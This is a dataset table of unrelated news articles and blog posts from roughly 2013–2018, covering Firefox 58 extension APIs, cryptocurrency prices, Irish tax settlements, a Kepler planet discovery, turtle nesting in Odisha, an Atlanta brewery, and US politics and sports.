text stringlengths 316 100k |
|---|
With the release of Firefox Quantum on November 14, 2017, we officially entered a WebExtensions-only world for add-on development. While that event was certainly the news of the day, Firefox 58 quietly entered Beta and a host of new APIs and improvements landed. As always, documentation for the APIs discussed here can be found on MDN Web Docs.
Additional Theme API
The API around themes continues to grow, allowing you customize even more of the browser appearance. In Firefox 58, you can now:
Change the color of the top, bottom and vertical separator for the toolbar.
Use colors.bookmark_text as an alias for colors.toolbar_text to better support porting themes from Chrome to Firefox.
Use theme.getCurrent() to get the ID of the current theme (on a per window basis, if desired).
Listen for theme.onUpdated() to know when a static theme is installed or uninstalled, or a dynamic theme is updated.
Reader Mode API Added to Tabs
The API available for interacting with tabs continues to grow. Firefox reader view (or reader mode) strips away clutter like buttons, ads and background images, and changes the page’s text size, contrast, and layout for better readability. It can even read the page out loud to you, if you want.
The image below shows a page that can be viewed in reader mode, indicated by the page icon in the URL bar (circled in red).
Clicking on the icon puts the page in reader mode, removing most of the page elements except the text and adding buttons to the left-hand side that modify the reading experience.
This powerful browser feature is now available via the WebExtensions API.
tabs.Tab.isArticle – boolean value shows if a tab is an article and thus supports reader mode
tabs.Tab.isInReaderMode – boolean value reports if a tab is currently in reader mode or not
tabs.toggleReaderMode() – toggle a tab in or out of reader mode (isArticle must be TRUE to have any effect)
tabs.create(…, openInReaderMode) – new parameter that determines if a new tab should be created and initially displayed in reader mode
tabs.onUpdated.addListener() – a tab will notify you when it goes into and out of reader mode
Improved webRequest API
Extensions can now easily get the entire URL ancestor chain, even in an HTTP environment. webRequest.onBeforeRequest() now includes another parameter in its callback object called frameAncestors. This is an array that contains information for each document in the frame hierarchy up to the top-level document.
Additionally, to enable proxy authorization to work smoothly, webRequest.onAuthRequired() now fires for system events. If an extension has the correct permissions, it will be able to use onAuthRequired to supply credentials for proxy authorization.
Flexible XHR and Fetch Headers
When a content script makes requests using the standard window.XMLHttpRequest or window.fetch() API, the Origin and Referer headers are not set like they would be when requests come from the web page itself. This is often desirable in a cross-domain situation so that the content script does not appear to come from a different domain.
However, some sites only allow XHR and fetch to retrieve content if the correct Referer and Origin headers are set. Starting in Firefox 58, the WebExtensions API permits the use of content.XMLHttpRequest() and content.fetch() to perform requests that look as if they were sent by the web page content itself.
Improved Content Security Policy (CSP) Handling
Work also continues in the WebExtensions CSP area. Starting with Firefox 58, the CSP of a web page does not apply to content inserted by an extension. This allows, for example, the extension to load its own resources into a page.
This is a fairly large effort requiring some substantial architectural work. In Firefox 58, the first part of this work has landed, permitting basic injection of content generated by DOM APIs. There will be follow-ups for parser-generated content and inline stylesheets and scripts.
Setting the Default Search Engine
Using chrome_settings_override, an extension can now install a new default search engine by setting the is_default key to TRUE. To protect the user, this cannot be done silently and the user will see an additional dialog that prompts them to confirm the change.
The user will also see if their default search engine has been overridden in the Options (about:preferences) page, which is explained in more detail below.
User Notification of Extensions Overrides
As the scope and power of the WebExtensions API increases, it is important to maintain the user’s security and privacy. In addition to the permission dialog that a user sees upon installation, Firefox tries to make sure that users are aware of which parts of the browser are under the control of an extension, and provide a way for them to revert back to default behavior, if desired.
Firefox 58 landed a couple of features in this area. First, when an extension has taken control of the New Tab Page, a notice is shown in Options (about:preferences) along with a button to disable the extension. This is shown in the screenshot below.
Along similar lines, if an extension has set a user’s default search engine, this will be shown on the Options (about:preferences) page.
Over the next few releases expect to see Firefox show even more areas where an extension is in control of a browser behavior along with options to revert back to a default state.
Additional Privacy Controls
In keeping with Mozilla’s mission to protect an individual’s online security and privacy, two new browser settings related to user privacy are now exposed via the WebExtensions API. Within privacy.websites, we’ve added:
firstPartyIsolate – This preference makes the browser associate all data (including cookies, HSTS data, cached images, and more) for any third party domains with the domain in the address bar.
resistFingerprinting – Browser fingerprinting is the practice by which websites collect data associated with the browser or the device it’s running on to personally identify you. This preference makes the browser report spoofed information for data that’s commonly used for fingerprinting.
Browser Action Fixes
A number of changes landed in Firefox 58 that fix issues with Browser Action buttons:
Support for PKCS #11 Security Devices
Firefox supports manual installation of external security devices via a dialog under the Options (about:preferences) screen. Now, WebExtensions includes API support for PKCS #11 security devices. Similar to native messaging and managed storage, a native manifest must be installed outside of an extension before the API become useful.
Android
On Android, users get install-time prompts for WebExtension permissions, but under Firefox 58 they now also get prompts when an extension adds additional permissions at runtime.
Miscellaneous Changes
More to Come
The items above represent some of the bigger changes, but Firefox 58 landed a total of 79 items in the WebExtensions area. Thank you to everyone who had a part in getting Firefox 58 to Beta, especially volunteer contributors apoorvasingh2811, DW-dev, Tom Schuster, Kevin Jones, Ian Moody, Tim Nguyen, Tomislav Jovanovic, Masatoshi Kimura, Wouter Verhelst.
We continue to receive a lot of feedback from developers and, based on that feedback, work is progressing on new features for Firefox 59 and beyond. Expect to see the WebExtensions API improve and grow, particularly in regards to the organization and management of tabs, as well as the theming API. As always, thank you for using Firefox and helping ensure that individuals have the ability to shape the Internet and their own experiences on it. |
Ethereum soars above $600 after a group of big banks announce a new project on its blockchain
Ether, the second largest cryptocurrency by market capitalization, soared past $600 a token Tuesday.
Ether was trading up 20% at $616 at 10:35 a.m. ET, according to data from Markets Insider.
The record comes a day after a group of banks led by UBS announced a data quality control project on Ethereum’s blockchain.
Ethereum’s blockchain, unlike bitcoin’s, can support layered on applications and facilitates so-called smart-contracts.
Cryptomania is sweeping Wall Street and it’s sending digital currencies to new heights.
Ether, the second largest cryptocurrency by market capitalization, soared past $600 a token for the first time Tuesday. The red-hot digital currency was trading up more than 20% at $616 at 10:35 a.m. ET, according to data from Markets Insider.
Across the vast market for digital coins records are being set. Bitcoin reached a record on Monday above $17,300 and litecoin hit a record above $300 Tuesday morning.
Ether’s record tear follows the announcement Monday of a data quality control project on Ethereum, the blockchain network underpinning ether, by a group of banks led by Switzerland-based money manager UBS. Ethereum, unlike bitcoin, can support applications on its network for projects outside of digital money, such as so-called smart contracts.
Barclays, Credit Suisse and UBS are among the banks involved in the pilot, which will help prepare them for Markets in Financial Instruments Directive (MIFID) II, a sweeping regulatory overhaul in Europe set to go live in 2018.
“It is a tool that we are using to improve the quality of our reference data that will be used for regulatory reporting for Mifid II,” Peter Stephens, head of blockchain innovation at UBS, told Business Insider.
Instead of trusting a third party to review data and then provide feedback about the accuracy of each party’s data, the banks will rely on the blockchain.
“We are putting our trust in the blockchain,” Stephens said.
Related posts: |
Israel joined the growing list of European countries making satirical cases for why U.S. President Donald Trump should consider their nations second after putting "America first."
The clip was aired on "Gav Ha'Uma," a satirical news show hosted by Lior Schleien.
skip - America First - Israel Second
>> Get all updates on Israel and the Jewish World: Download our free App, and Subscribe >>
"America and Israel, we have a joint enemy: Iran. They call Israel the little Satan. They call America the great Satan. So when it comes to Satanism, thanks to us, America is great again," the Trump impersonating voice-over says.
The trend started when a Dutch television host aired a hilarious video on his show "Zondag met Lubach" ripping into Trump on just about everything in a plea to put the Netherlands second. After the video went viral, Belgium, Germany, Denmark, Lithuania, Luxembourg, Portugal and Switzerland followed suit.
Soon after, Schleien's video went viral more would-be comedians and video editor's joined in as more satirical videos were released. Below are three more "Israel second" clips released recently:
skip - Vid 2
skip - Vid 3
skip - Vid 4
אחרי הולנד, שווייץ, דנמרק וגרמניה, גם אנחנו יוצאים בקריאה נרגשת לטראמפ: אמריקה אולי ראשונה, אבל ישראל שנייה. pic.twitter.com/GhCZweZGIG — כאן (@kann) February 5, 2017 |
Pastor E. Dewey Smith (Screenshot/YouTube)
A Georgia pastor is making waves after being caught on video unloading on what he called the hypocrisy of condemning LGBT people by Christian churches.
Pastor E. Dewey Smith of the House of Hope, Greater Travelers Rest church in Decatur gave an impassioned sermon, posted to YouTube on Thursday, in which he slammed church leaders for judging gay people but “you change wives like we change underwear.”
“‘These folks are an abomination, they are nasty,’ tell you what you do then. Go find every song that’s been written by a gay person for the last 100 years and don’t sing it in church,” he said, as the church congregation cheered him on. “Let’s see how many songs you can minister on that Sunday.”
He went on to criticize the habit of picking and choosing which parts of the Bible to adhere to, based on what is socially advantageous or convenient, but ignore it when it gets in the way of business.
“We demonize and dehumanize the same people that we use and we don’t say nothing about the gay choir director because he’s good for business” Smith said. “As long as the choir sound good, I ain’t saying nothing about his sexuality. We have done what the slave master did to us. Dehumanize us, degrade us, demonize us, but then use them for our advantage.”
Watch Smith’s sermon here, via DP People’s YouTube page: |
Singer Sinead O'Connor has reached a settlement with the Revenue Commissioners for €160,000 in relation to under-declaration of PAYE and PRSI following an audit.
Ms O'Connor has an address of Montebello, Strand Road, Bray, Co Wicklow.
She owed €90,000 in tax but the Revenue Commissioners is also charging her interest and penalties.
Her name was published in the quarterly tax defaulters list published by the Revenue Commissioners today.
Total settlements with Revenue between April and June amounted to €17.44m.
The largest single settlement made during the period was by retired company director James Farrell for slightly more than €1.4m in relation to non-declaration of Capital Gains Tax & VAT.
Mr Farrell has an address at Oldcastle Road, Kells, Co Meath.
Meanwhile, IAC Graphics Limited - which is described by Revenue as an aircraft painters and glazers firm based out of IAC House, Dublin Airport - settled with Revenue for €1.12m over under-declaration of VAT, PAYE/PRSI, and Corporation Tax.
Office supplier Bizquip reached a settlement for almost a €1m with the Revenue.
The company with an address in 7/8 Burton Hall, Sandyford, Industrial Estate, Dublin 18 under declared PAYE and PRSI and was subject to an offshore assets investigation case.
The company reached a settlement for €925,000 including interest, tax and penalties.
PVC Window and conservatory installer Weatherglaze - with an address at Clonattin, Gorey, Co Wexford - settled with Revenue for €265,000 in relation to the under-declaration of Corporation Tax, VAT and PAYE/PRSI.
Of the 101 published cases, 42 were for amounts exceeding €100,000; of which eight exceeded €500,000; two of which exceeded €1m.
Three of the 101 settlements published, yielding €1.37m, relate to Revenue’s investigation into Offshore Assets/Funds. |
Apparently some people aren't happy with a new ad campaign targeting Metro Detroit atheists.
, the Detroit chapter of the United Coalition of Reason purchased pro-atheist banner ads on the sides of Suburban Mobility Authority for Regional Transportation buses. Against a sky background, they read "Don't believe in God? You are not alone."
the group says the word "Don't" was either scratched out or torn off some the ads.
"Acts like this give a striking reminder that our message is necessary," said Ruthe Milan, coordinator of Detroit CoR. "Without a doubt, prejudice against atheists and agnostics is still very real in American life."
The group also says SMART replaced the ads free of charge, which originally cost $5,250.
"Because this has happened, we stand even more resolved in our goal of being outspoken about our ideas," Milan added. "And we expect that this vandalism will convince even more nontheistic Detroiters that getting organized is important for the cause of religious liberty." |
A P-plater has been charged with dangerous and negligent driving and had his licence suspended after he crashed into a cyclist in Sydney's north on Saturday morning.
The male cyclist died at the scene in Church Point after he was struck by a Subaru driven by the 17-year-old male.
The driver, who was uninjured, was taken to hospital to undergo mandatory blood and urine samples. He is expected to face court in January.
The age and identity of the cyclist have not been released and a spokeswomen for the police told Fairfax Media police were still trying to contact the cyclist's family.
She said a crime scene has been established and investigations are underway.
The roads around Church Point are a popular weekend cycling destination, attracting riders because of the hilly and scenic location in the Ku-ring-gai Chase National Park. |
A new hitch has halted attempts to lift two passenger ferries onto the deck of a large cargo ship in Galway Docks this afternoon.
The ferries were to be transported form Galway to the Indian Ocean island of Mauritius.
Two previous attempts were unsuccessful and this afternoon the latest attempt was halted.
Galway Harbour Master Captain Brian Sheridan said fresh concerns had emerged over the ability of the crane on board the Thor Gitta to lift the ferries onto its deck.
The operation, which got under way at 7am, has been suspended for the day.
The admiralty order arresting the Thor Gitta was lifted this afternoon.
The first freighter which was sent to carry out the operation ran aground on the rocks at Rossaveal during a storm.
A week later, three men were injured in an accident in Galway Harbour when a sling broke as one of the ferries was being loaded onto a second cargo ship. |
Change is coming to MDN. In a recent post, we talked about updates to the MDN brand, and this time we want to focus on the upcoming design changes for MDN. MDN started as a repository for all Mozilla documentation, but today MDN’s mission is to provide developers with the information they need to build things on the open Web. We want to more clearly represent that mission in the naming and branding of MDN.
MDN’s switch to new branding reflects an update of Mozilla’s overall brand identity, and we are taking this opportunity to update MDN’s visual design to match Mozilla’s design language and clean new look. For MDN that means bold typography that highlights the structure of the page, more contrast, and a reduction to the essentials. Color in particular is more sparingly used, so that the code highlighting stands out.
Here’s what you can expect from the first phase:
The core idea behind MDN’s brand identity change is that MDN is a resources for web developers. We realize that MDN is a critical resource for many web developers and we want to make sure that this update is an upgrade for all users. Instead of one big update, we will make incremental changes to the design in several phases. For the initial launch, we will focus on applying the design language to the header, footer and typography. The second phase will see changes to landing pages such as the web platform, learning area, and MDN start page. The last part of the redesign will cover the article pages themselves, and prepare us for any functional changes we’ve got coming in the future.
Today, we are launching the first phase of the redesign to our beta users. Over the next few weeks we’ll collect feedback, and fix potential issues before releasing it to all MDN users in July. Become a beta tester on MDN and be among the first to see these updates, track the progress, and provide us with feedback to make the whole thing even better for the official launch. |
Aidyn Chronicles - The First Mage OST
| # | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z |
Album name: Aidyn Chronicles - The First Mage OST
Number of Files: 50
Total Filesize: 118.10 MB
Date added: Jun 11th, 2018
Released on: Nintendo 64
file_download New! Download all songs at once: Download all songs at once: click to download
Your browser does not support HTML5 Audio! play_arrow 00:00 00:00 volume_up skip_previous Paused... skip_next
Reviews
You need to be logged in to write a review! |
A 12-year-old boy in Ohio is dead after reportedly fatally shooting his 9-year-old half-brother and then himself.
Jackson County Coroner Gregory Hawker on Wednesday said that autopsies showed that 9-year-old Blake Campbell died almost immediately after being shot in the head with .44-caliber revolver. His half-brother, 12-year-old Austin Wiseman, then put the gun under his own chin and pulled the trigger, according to The Columbus Dispatch.
The children were at home alone when the shootings occurred on Tuesday. They were later discovered by their grandparents.
It was not immediately clear why Wiseman had shot Campbell. A full autopsy was expected to be completed in about six weeks.
“I know Austin was very loving and caring,” relative Shirley Causey told the Dispatch. “In my mind, I’m just thinking that maybe Blake found the gun and Austin tried to take it away from him and it went off. He didn’t do it on purpose; I don’t believe he would have done it on purpose. He loved his brother, I know he did.”
Watch this video from WSAZ, broadcast June 27, 2013.
Watch this video from WCMH, broadcast June 27, 2013.
WCMH: News, Weather, and Sports for Columbus, Ohio |
I have two fathers: one who raised me, and one who I didn't get to know till later in life. The first provided an example for me as I grew up; the latter provided half of my genetic material.My father, the one who raised me and adopted me, was usually a man of few words. He could be intense, but he was rarely angry. He taught me how to fix things, mainly by showing how it was done. I don't recall many of his words, but I will always recall his actions. I'm sure that I must have picked up some of his mannerisms and behaviors, but -- that being said -- I didn't see myself in him, nor in the rest of the family that I grew up with. My mom and my siblings, for instance, are some of the most talkative and social people that I know, so much so that it used to drive me a bit nutty.As taciturn as my father was, he didn't mind the company of others, and -- believe me -- our house was bursting with activity and people. What felt like chaos to me didn't faze him at all. My impression was that he enjoyed large gatherings, and he seemed to do well in highly social situations. He was involved with our family, laughing often and readily; he was easy-going. Though he was less talkative, he wasn't withdrawn, as if he needed to recuperate (unless, of course, I count his cigarette breaks).My mom called him "quiet", a term I eventually came to know well. She said it as if apologizing for him and for me all at once. "You're quiet, just like your dad," she told me. "You must have gotten it from him. Even though he doesn't say much, you should know that your dad loves you." I liked his quietness, but -- as much as I wanted to -- I didn't feel a connection with him because of it. I think what I took in most from my father's mannerisms was not his quietness but his calm demeanor.My other father, the biological one, I met about fifteen years ago, when I had already been an adult for quite a while. I didn't know he was my biological father at the time, but it made sense when I did find out (after the DNA tests). Not because we look the same, but -- oddly -- because we act the same, very much so in some ways. It was a very strange thing for me to discover, considering I spent most of my life without knowing him or being influenced by him. I was astonished at how big a role genetic material could play. As long as I've known him, he's been on his own, and he seems to thrive that way.One day I asked my biological father what he would have taught me had he been around when I was younger. I could have used his guidance, I told him, especially when it came to being introverted. His response shook me, leaving me empty, as only truth can. He said he'd have taught me nothing, and that we each have to figure things out alone. I knew he was right, but it still felt cold. Becoming who we are is a solo project, I guess, introvert or not.Still, I don't think we start with a blank slate. We start with what's given to us. From my biological father, I've gained the tendency to dive deep and to fall within; to find enjoyment in solitude, nature, and independence. From my adopted father, I've gained peacefulness, the ability to relax and to laugh, even if quietly; to be open to the chaos of social environments, as uncomfortable as they may seem.This is what I started with, and I'm thankful for it. |
Nasa find first alien solar system with as many planets as our own
Scientists on Nasa’s Kepler mission have spotted an eighth planet around a distant star, making it the first alien solar system known to host as many planets as our own.
The newfound world orbits a star named Kepler 90 which is larger and hotter than the sun and lies 2,500 light years from Earth in the constellation of Draco.
Known as Kepler 90i, the freshly-discovered world is smallest of the eight now known to circle the star, and while it is probably rocky, it is a third larger than Earth and searingly hot at more than 420C.
“This ties Kepler 90 with our own solar system for having the most known planets,” said Paul Hertz, director of astrophysics at Nasa’s headquarters in Washington DC.
Facebook Twitter Pinterest The planets have a similar configuration to our system: small planets orbit close to their star; larger planets are farther away. Illustration: Nasa/Ames Research Center/Wendy Stenzel
Researchers on the Kepler planet-hunting telescope discovered Kepler 90i when they teamed up with artificial intelligence specialists at Google to analyse data collected by the space-based observatory.
The Kepler telescope hunts for alien worlds by detecting the shadows planets cast as they orbit their parent stars. When a planet passes in front of its star, the telescope detects a minuscule dimming in light, which for an Earth-sized planet circling a sun-like star, can mean a fall in luminosity of a mere 0.01%.
Kepler has observed 150,000 stars to date and already discovered more than 4,000 candidate planets, of which about 2,300 have been confirmed. Astronomers now suspect at least one planet orbits every star in the sky.
Facebook Twitter Pinterest Kepler-90’s planets are fit into the equivalent distance of Earth to the sun. The inner planets have very tight orbits; a “year” on Kepler-90i is 14.4 days. Photograph: NASA/Ames Research Center/Wendy Stenzel
For all their success with Kepler, Nasa scientists knew that more planets lay hidden in the telescope’s observations, but the signals were so weak they were difficult to spot. This is where Google’s AI researchers came in. By training a neural network to learn what bona fide signals of distant planets looked like, Christopher Shallue, a Google researcher, helped Nasa to scour Kepler’s observations of 670 stars for planets that had previously been missed.
The search turned up two new planets around different stars, Kepler 90i, and another world named Kepler 80g, the sixth planet now known to orbit its star. The scientists now plan to search Kepler’s data on all 150,000 stars for other missed planets. A research paper on the findings will be published by the Astronomical Journal.
Suzanne Aigrain, an astrophysicist at Oxford University who was not involved with the research, said: “What is perhaps most exciting is that they are able to find planets that were previously missed, suggesting there are more yet to be found using this approach.”
Earlier this year, Kepler scientists announced the discovery of 219 more candidate planets, of which 10 appeared to be about the same size and temperature as Earth. |
DRDO switches off lights at the missile test range nearby to help draw female turtles back to the beach
Much to the delight of turtle lovers and researchers, the long-awaited mass nesting phenomenon of Olive Ridley sea turtles began at the beach of Gahirmatha Marine Sanctuary on Wednesday. Gahirmatha in Kendrapada district of Odisha is the world’s largest rookery of sea turtles. Last year, the turtles had skipped the sanctuary.
Around 30,000 turtles have laid eggs at another nesting site at Rushikulya beach in Ganjam district.
“Nearly 50,000 Olive Ridley sea turtles came ashore for mass-nesting at the Nasi-1 and Nasi-2 islands of Gahirmatha Marine Sanctuary beach of Kendrapada district on Wednesday and Thursday nights for arribada, a Spanish term for mass-nesting,” said S S Srivastava, chief wildlife warden and principal chief conservator of forests, on Friday.
The turtles, which had already congregated in the sea near Gahirmatha beach, came ashore for nesting in groups of nearly 2,000 to 5,000 each. Nasi-1 and Nasi-2 are tiny islands spread over six km and are best suited to nesting since they have neither predators nor any human habitations. The turtles initiated nesting at about 10 pm on Wednesday and continued throughout the night and dawn. The arribada will continue for a week, said the forest officer.
Many turtles are laying eggs in the same pits as others and thousands of eggs have been destroyed in the process. Since there is very little space left, the forest officer explained that many female turtles have returned to the sea and will emerge only after a few days.
Turtle eggs normally take 45 days to hatch. Hatchlings then emerge from the nests and make their way to the sea.
Bright lights from the missile test range at Wheeler’s Island near Gahirmatha had been an impediment to the arrival of the turtles last year. This year, defence officials have switched off lights at the test range, causing turtles to return to Gahirmatha for mass-nesting, the forest officer said.
About 50 forest guards and other forest officials are now guarding the nesting beach and the sea to protect the turtles and their eggs. Forest officials have decided to not allow any tourists to the sites as they are now under the jurisdiction of the Defence Research and Development Organisation (DRDO). Anyone wanting to visit the rookery site will have to seek permission from the DRDO.
The state government has imposed a ban on fishing activities inside the Gahirmatha sanctuary from November 1 to May 31 to protect the turtles. Forest officials have already arrested around 130 fisherpersons and seized about 35 fishing vessels on charges of illegal fishing in Gahirmatha.
The rookery at Gahirmatha was declared a marine sanctuary in 1997 by the state government. The Indian Coast Guard and the forest department have established 16 camps to guard the turtles and to prevent the entry of fishing vessels. Surprise raids are carried out on fisherpersons to prevent them from fishing within turtle congregation areas, said the forest officer. |
Crawford Moran
Dogwood Brewing Company
Atlanta, GA
It was not the most opportune time to be opening a microbrewery. But typical bureaucratic red tape had delayed the first brew until just before the Atlanta Summer Olympics in 1996, so Crawford Moran opened Dogwood Brewing Company anyway. Traffic, terrorist bombs and hordes of foreign tourists aside, Crawford Moran was happy to be brewing under any circumstances. Almost overnight, the shaggy haired owner jumped from experienced homebrewer to novice professional brewer. Five gallon homebrew recipes were painstakingly converted to 20 barrel batches, all brewed using traditional techniques.
Traditional? The west Atlanta micro uses only whole leaf hops, even in their numerous dry hopped brews. No common brewery yeast here either. Moran and head brewer Matt Speece maintain many strains, each specific to an ale or lager style and, of course, a Dogwood beer. Most of the brewery’s malts are imported. Lagers receive minimum two months in fermentation and conditioning cycles. Taking tradition one step further than most, all Dogwood beers – kegged and bottled – are naturally carbonated, without the boost of priming or bottled carbon dioxide, even in the bottling process. Talk about a stickler for tradition, but that’s Moran’s philosophy and he’s keeping the faith.
With a Masters Degree in Comparative Literature, it took only a matter of days for graduate Moran to realize that teaching was not his lifelong career. He hated it. Entrepreneurial spirit and love for good beer led to the next, though unexpected step, Dogwood Brewing. As the business grew, Crawford turned over brewing responsibility to Matt Speece, about a year after the doors opened. While attending engineering school in Boulder, Colorado, Speece worked first for Rockies Brewing and later with Oasis Brewing, two high production regional breweries. After a short stint with a Panama City brewpub, the lanky redhead sought other employment. He found the head brewer’s job in Atlanta, relieving Crawford of part of his responsibility. Brewer Tony Camblor is the third gear in the Dogwood brewing machine.
Housed in a former dairy products warehouse, Dogwood brewed 3,000 barrels in 2000, dreadfully close to the brewhouse’s capacity until two new fermenters were install in the unheated brewery, bringing the tank total to seven. Some of the recipes hail back to Moran’s homebrewing days. Others were developed or modified in the brewery. Regardless, Dogwood’s recipes are as close to traditional styles as is feasibly possible. For instance, the cold temperature seasonal Winter Ale, dubbed the best local brew in 1999 by Atlanta Constitution writer Michael Skube, is a Belgian Brown Ale. Invitingly brownish-copper in hue, this medium body brew provides a warming sensation within its tart, almost wine-like flavor. Chimay yeast gets some of the credit for authenticity. Dogwood’s winter recipes changes each year, though so far this seasonal release has always been a Belgian beer of some sort. The summer brew is a coriander and orange peel laced Belgian White.
Simply named, as all their beers are, Dogwood Pilsner presents an immediate, or sooner, smack of hops. Bittered with Magnum hops and dry-hopped with whole leaf Saaz, only after the hops rush subsides does the lager’s light body and hint of malt appear. The Pils is filtered, though most of the other beers are not, and properly lagered. Fruity aroma announces Dogwood Pale Ale, though 30-35 ibu’s, mostly Cascade including dry hopping, control the flavor chart. This medium bodied ale, Dogwood’s best seller, is deliciously quaffable. Breakdown IPA, the only beer given a real name in order to differentiate it from the Pale, pushes 50 ibu’s. It is indeed hoppy start to finish, incorporating the tasty bitterness of Magnum, Goldings and a 50 pound Crystal hopback. Dogwood Stout, deep black shrouded with a brown foam hood, emits coffee aroma. Unfiltered, it is dominated by thick mouthfeel and strong roasted malt flavor. Oktoberfest is the fall seasonal and is available in bottles and kegs, as are all of Dogwood’s beers. Roughly 65% of the brewery’s production is bottled.
A healthy group of locals populate the tasting room every Thursday while Moran conducts a regularly scheduled brewery tour. These Dogwood fans love the brew and the fact that it’s free. The brewery cannot sell beer at retail, but they can give it away, as they do at beer festivals across the South.
Crawford’s grandparents are Irish, so beer has always been part of his life. Fond childhood memories of his father’s Guinness Stout, which the young pre-brewer was often allowed to taste, still summon a smile. As illustrated by his brewery’s winter and summer seasonal offerings, his tastes now lean toward the broad class of Belgian beers, Crawford’s true passion. But that doesn’t mean that other styles are short-changed. During a 1999 visit to Beamish Brewing in Ireland, he was taken on an impromptu tour by the brewery’s production manager. Afterwards, when the two compared notes, Crawford proudly mentioned that Dogwood Stout had been awarded a silver medal in World Beer Cup competition. Beamish Stout had not scored as well. Since no gold medal was awarded in that stylistic category that year, Crawford had every right to brag that his Stout was judged best in the world. The Irishman was embarrassingly impressed. It’s not easy to beat the Irish at their own game. Dogwood has other certificates pasted on their tasting room wall as well, several from the World Beer Championship and one especially meaningful to the brewers, selection as 1997’s Favorite Southern Beer by the readers of Southern Draft Beer News.
Though the Dogwood blossom is not the Georgia state flower, Moran chose this deep South icon as his brewery’s name and emblem because of its regional connotations. A sign of early Spring, of life, growth and beauty – it plays well within the state, which is the boundary of Dogwood’s distribution.
Brewing award-winning beers and having fun, Crawford Moran, Matt Speece and their Dogwood Brewing Company crew couldn’t be happier. “Not bad for a couple of rednecks making beer down here,” Moran exclaimed over an early morning Stout. Not bad, indeed.
Dogwood Brewing Company (micro)
1222 Logan Circle NW
Atlanta, GA 30318
404/367-0500
www.dogwoodbrewing.com
These days Crawford owns/run 5 Seasons Brewing in Atlanta, GA -please visit their site. |
Michael Jordan’s Charlotte Hornets are set to host the All-Star Game in 2017, but the NBA said Thursday that could change. (Chuck Burton/Associated Press)
The NBA said in a statement Thursday night that it may consider moving the 2017 All-Star Game from Charlotte in the wake of a sweeping North Carolina law passed Wednesday that overturns protections for gay and transgender people.
“The NBA is dedicated to creating an inclusive environment for all who attend our games and events,” the league stated. “We are deeply concerned that this discriminatory law runs counter to our guiding principles of equality and mutual respect, and do not yet know what impact it will have on our ability to successfully host the 2017 All-Star Game in Charlotte.”
Protesters demonstrate against a new law that Gov. Pat McCrory (R-N.C.) signed March 24. It revoked a city ordinance allowing transgender people to use the bathroom of their choice. (Monica Akhtar/The Washington Post)
Over the past few years, the NBA has been out front of trying to create an inclusive environment. It was the first of the four major American professional sports leagues to have an openly gay player when Jason Collins suited up for the Brooklyn Nets in 2013, and has been a strong advocate for Lean In, which promotes equality for women.
[North Carolina passes bill blocking LGBT protections]
The North Carolina legislation marks the second time in the past week sports and politics have met at a difficult intersection.
The NFL said last Friday that if a “religious liberty” bill that passed through the Georgia state legislature this month is signed into law, it would impact Atlanta’s ability to host future Super Bowls.
The Atlanta Falcons are set to begin play in a new stadium in 2017, and the city is one of four finalists to host either the 2019 or 2020 Super Bowls, along with New Orleans, Tampa Bay and Miami.
[NFL warns that “religious liberty" bill could cost Atlanta a Super Bowl]
“NFL policies emphasize tolerance and inclusiveness, and prohibit discrimination based on age, gender, race, religion, sexual orientation, or any other improper standard,” NFL spokesman Brian McCarthy told the Atlanta Journal-Constitution. “Whether the laws and regulations of a state and local community are consistent with these policies would be one of many factors NFL owners may use to evaluate potential Super Bowl host sites.”
Last year, the NCAA weighed in on a similar law in Indiana, saying that it could lead to the Indianapolis-based NCAA potentially having to move its offices.
The state then quickly passed and signed a bill intended to clarify the law, as well as to provide protection for LGBT customers, employees and tenants. |
I'm calling it the Unaffordable Don't Care Act.
Rep. Lloyd Doggett used his time during today's House Ways and Means Committee hearing on the GOP "Wealthcare" bill to reinforce the need to see Donald Trump's tax returns.
"The need for Mr. Trump's tax returns has become more urgent. They could reveal Russian entanglements. Every new revelation about Russian contacts including meetings with the Russian Ambassador by Attorney General Sessions heightens the need to see the returns."
"I will admit that we Democrats have perhaps approached this in the wrong direction that we've gotten it backwards. The question we should have been asking from the outset to make it easy is will any Trump campaign surrogate who did not meet with the Russians please raise your hand because this keeps coming out week after week."
"With revelation after revelation. it just is not sufficient to say there's nothing to see here. First, it was Paul Manafort, then ousted national security adviser Michael Flynn, now the Attorney General Jeff Sessions who met with the Russian ambassador at the Republican National Convention. Jared Kushner who joined Flynn for one meeting. If there's nothing to see here, Mr. Trump, then we need to see the tax return."
"President Trump said at a press conference last month that he has no deals with Russia. While that may or may not be true right now he may have never been able to close a real estate deal in Russia we can take him at his own word in his meeting on the David Letterman show in 2013 when he said quote, "Well, I've done a lot of business with the Russians, they're smart and they're tough."
"I would certainly agree with I'm on the tough part or take the word of Donald Trump Junior who in 2008 saying quote "Russians make up a disproportionate section [of our investments]."
"Accountability ought not to -- be a partisan issue, and shouldn't be in this committee. There's nothing more important than ensuring our democracy and checks and balances, that's what this is about. We have a statute that goes back decades that authorizes this committee to take a professional review of all of Mr. Trump's tax returns and of course it will take professional expertise.
↓ Story continues below ↓
"This is a president who brags about how he has bent the tax code to his whim in the past, who reportedly didn't pay penny in taxes and came off better than the insurance companies will come off after this title is approved. How did he manage to do that and what will it look like if he is over seeing the Internal Revenue Service? Now, there was a recent analysis by one reporter, series of reporters that said under what they think is in this bill though they don't have a score and they don't have all the data that President Trump stands to rake in $7 million."
"We can explore whether one of those is tanning salons, and is going to benefit from the tanning, and the two tax breaks near $7 million. I think it's important to adopt this amendment. ..."
He also did a great job digging into the tax break for insurance companies high salaries for CEOs. Turns out in the Republican bill, insurance companies can pay their CEO's and VP's tens of millions of dollars and write it off as a "business expense." REALLY. |
Pokémon GO and the Pokémon GO Plus device are both launching next month. In a recent interview, Niantic revealed the audience they are looking to target with the new augmented reality game. The company's CEO, John Hanke, explained that they want to make the game accessible for both newcomers and diehard Pokémon fans. They want to make the game feel casual enough for those who just want to explore in the game, and at the same time convince players of the original games that it's worth trying out.
"We're trying to make the game accessible to a person who doesn't yet know how much they want to commit to the game, who just wants to explore. That includes not just the Pokémon newbie, but those on the opposite side — a diehard who's played all of the RPGs but isn't sure if an augmented reality game that requires them to get up off the couch is really their speed. At the same time, we think that there's an opportunity to build depth. There's an emergent complexity that doesn't hit you over the head at first blush, [from] trying to power up your Pokémon and evolve and ultimately start competing for gyms" — John Hanke
The Pokémon Company's senior director of consumer marketing, J.C. Smith, also stated that they are trying to create a new Pokémon experience that is accessible to everyone. They aren't just recreating the original games on mobile; rather, they want Pokémon GO to be a new experience.
